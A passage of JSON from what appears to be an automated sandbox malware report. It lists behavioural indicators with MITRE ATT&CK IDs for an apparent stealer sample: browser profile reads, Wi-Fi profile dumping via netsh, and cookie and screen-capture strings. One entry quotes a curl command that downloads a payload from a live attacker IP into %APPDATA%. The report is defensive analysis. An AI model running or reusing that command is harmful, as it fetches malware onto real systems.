Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$51","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=Microsoft TLS G2 RSA CA OCSP 02, O=Microsoft Corporation, C=US\" (SHA1: 5F:F8:34:7D:83:D5:0D:4E:74:EC:6D:AB:B1:87:31:D1:5D:E1:E8:E1; see report for more information)\n The input sample is signed with a certificate issued by \"CN=Microsoft TLS RSA Root G2, O=Microsoft Corporation, C=US\" (SHA1: F8:A4:08:B8:FB:EE:A0:77:B7:57:38:65:86:41:BE:77:15:47:20:EB; see report for more information)\n The input sample is signed with a certificate issued by \"CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US\" (SHA1: B5:EE:89:E7:73:26:AB:2B:F1:77:5B:D9:9C:19:A2:89:47:FF:81:84; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"$52","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Able to establish persistence using Exchange transport agent (.NET)","description":"file/memory contains long string(Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")\n Found string \"<0s>: No attachments present+<0s>: Unsupported framebuffer configuration1<0s>: Attachments do not have the same dimensions\" (Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")\n Found string \"Outlook Attachment\" (Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")\n Found string \"Attachments:[To modify indexing settings on another user's mail folder, that user needs to be logged in.HIndexing of Outlook email has been disabled by the System Administrator.HIndexing of Offline files has been disabled by the System Administrator.\" (Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-938","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains reference to software packages activity (Powershell command string)","description":"Found string \"$p=Get-AppxPackage -Name '\" (Indicator: \"Get-AppxPackage\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1072","relevance":1,"id":"string-387","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"file.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"curl.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"uzbektajik.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\CatRoot\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$54","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$55","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"$56","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$57","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"file.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\temp\\ntkrnlmp_7c6b3934e36b4ed89ea9374957edeac41.pdb\"\n \"file.exe\" reads file \"c:\\users\\%osuser%\\appdata\\roaming\\jy1gj29sb6l8\"\n \"uzbektajik.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\mozilla\\firefox\\profiles\\ywzu7870.default\\activity-stream.tippytop.json\"\n \"uzbektajik.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\mozilla\\firefox\\profiles\\ywzu7870.default\\activity-stream.topstories.json\"\n \"uzbektajik.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\mozilla\\firefox\\profiles\\ywzu7870.default\\cache2\\entries\\001db8ae3a46f009910967724d0e7f33b99aa751\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$58","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"file.exe\" trying to touch file \"C:\\MPR.DLL\"\n \"file.exe\" trying to touch file \"C:\\MPR.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\mpr.dll\"\n \"file.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\MPR.dll\"\n \"file.exe\" trying to touch file \"\\Device\\CNG\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"file.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\oleaut32.dll\"\n \"file.exe\" trying to touch file \"C:\\WINDOWS\\system32\\oleaut32.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"file.exe\" touched file \"C:\\Windows\\Temp\\jep0nmpc32hk.sys\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$59","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$5a","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$5b","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"uzbektajik.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\index.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Able to access Windows networking-related API (String)","description":"Found reference to API \"WNetOpenEnumA\" (Indicator: \"WNetOpenEnum\"; File: \"file\")\n Found reference to API \"WNetCancelConnection2W\" (Indicator: \"WNetCancelConnection\"; Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")\n Found reference to API \"WNetAddConnection2W\" (Indicator: \"WNetAddConnection\"; Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")\n Found reference to API \"WNetAddConnection2W\" (Indicator: \"WNetAddConnection\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"WNetCancelConnection2W\" (Indicator: \"WNetCancelConnection\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"WNetOpenEnumA\" (Indicator: \"WNetOpenEnum\"; Source: \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-923","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"file\")\n Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Able to use vulnerability or port scanning tools","description":"file/memory contains long string with (Indicator: \"nmap -st\"; File: \"jep0nmpc32hk.sys\")\n file/memory contains long string with (Indicator: \"nmap -o\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1595.002","relevance":1,"id":"string-996","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /wilow/uzbektajik.bin\"\n Found http requests in header \"GET /json/?fields=countryCode\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSASend\" (Indicator: \"WSASend\"; File: \"file\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"file\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"nslookup: WSAStartup:%0\" (Indicator: \"WSAStartup\"; Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"Handle %1 created by InternetConnect: SessionHandle=%2, Server=%4:%5, %7, Flags=%8\" (Indicator: \"InternetConnect\"; Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"Request handle %1 created by HttpOpenRequest: ConnectionHandle=%2, %4, Target=%6, Ver=%8, Referrer=%10, Media types=%12, Flags=%13\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"CreateNamedPipeW failed:\" (Indicator: \"CreateNamedPipe\"; File: \"00000000-00006700.00000002.277998.159B1000.00000020.mdmp\")\n Found reference to API \"ConnectNamedPipe failed:\" (Indicator: \"ConnectNamedPipe\"; File: \"00000000-00006700.00000002.277998.159B1000.00000020.mdmp\")\n Found reference to API \"NtCreateNamedPipeFile\" (Indicator: \"CreateNamedPipe\"; File: \"file\")\n Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; File: \"file\")\n Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"NtCreateNamedPipeFile\" (Indicator: \"CreateNamedPipe\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"AppendData (or AddSubdirectory or CreatePipeInstance)\" (Indicator: \"CreatePipe\"; Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetAddConnection2W\" (Indicator: \"NetAddConnection\"; Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")\n Found reference to API \"WNetAddConnection2W\" (Indicator: \"NetAddConnection\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"file\")\n Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve TCP/IP network configuration","description":"Found string \"\"ipconfig\" /all\" (Indicator: \"\"ipconfig\"; Source: \"00000000-00006976-00000C47-1482086702\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-325","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Contains ability to transfer data using curl","description":"Observed string: \"curl.exe -s -L --connect-timeout 10 --max-time 120 --retry 1 -A Microsoft-Symbol-Server/10.1700.661.0 -o \"%TEMP%\\ntkrnlmp_7C6B3934E36B4ED89EA9374957EDEAC41.pdb\" \"https://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/7C6B3934E36B\" (Indicator: \"curl.exe -\") in Source: 00000000-00006548-00000C46-1966834394, Observed string: \"curl.exe -s -L --connect-timeout 10 --max-time 120 -o \"%APPDATA%\\jy1gj29sb6l8\" \"http://107.175.82.242:9000/wilow/uzbektajik.bin\"\" (Indicator: \"curl.exe -\") in Source: 00000000-00006548-00000C46-9862418652","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-576","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"Handle %1 created by InternetOpenURL: SessionHandle=%2,URL=%4, Headers=%6, Flags=%7\" (Indicator: \"InternetOpen\"; Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 208.95.112.1 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Detects NETSH process execution","description":"Process \"netsh.exe\" with commandline \"wlan show profiles\" (UID: 00000000-00003480)","origin":"Monitored Target","mitre_attack_id":"T1686","relevance":2,"id":"target-186","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$60","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$61","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"$62","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /wilow/uzbektajik.bin HTTP/1.1\nHost: 107.175.82.242:9000\nUser-Agent: curl/8.15.0\nAccept: */*\n\n GET /json/?fields=countryCode HTTP/1.1\naccept: */*\nhost: ip-api.com\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"vsblobprodscussu5shard21.blob.core.windows.net\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Imports windows networking-related APIs","description":"Observed import api \"WNetOpenEnum\" which can \"start an enumeration of network recls.sources or existing connections.\" [Source: file]","origin":"Static Parser","mitre_attack_id":"T1135","relevance":1,"id":"static-86","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 5659c10619c455ea477287b12cf3f7e7","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"References server/domain address with port number","description":"Found ip/domain with port number \"http://107.175.82.242:9000\"","origin":"Indicator Combinations","mitre_attack_id":"T1571","id":"summary-25","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"57.150.53.97\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"sample.bin\"\n YARA signature for AES encryption matched on process \"00000000-00006548\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Djb2 Hash Algorithm","description":"YARA signature for Djb2 Hash Algorithm matched on file \"helper.exe\"\n YARA signature for Djb2 Hash Algorithm matched on file \"uzbektajik.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-542","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00003200\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"uzbektajik.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00004512\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Rust-compiled binary","description":"YARA signature for Rust-compiled binary file \"uzbektajik.exe\"","origin":"YARA Signature","relevance":1,"id":"yara-185","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopW\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; File: \"file\")\n Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; File: \"file\")\n Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; Source: \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\")\n Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; Source: \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-553","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Remote Access Related","name":"Able to configure Windows Remote Management service","description":"$63","origin":"File/Memory","mitre_attack_id":"T1133","relevance":1,"id":"string-909","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$64","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"$65","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access web session cookie","description":"Found string \"--user-data-dir=\" (Indicator: \"--user-data-dir\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found string \"--profile-directory=\" (Indicator: \"--profile-directory=\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-794","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp\")\n Found reference to API \"RtlGetNtProductType\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp\")\n Found reference 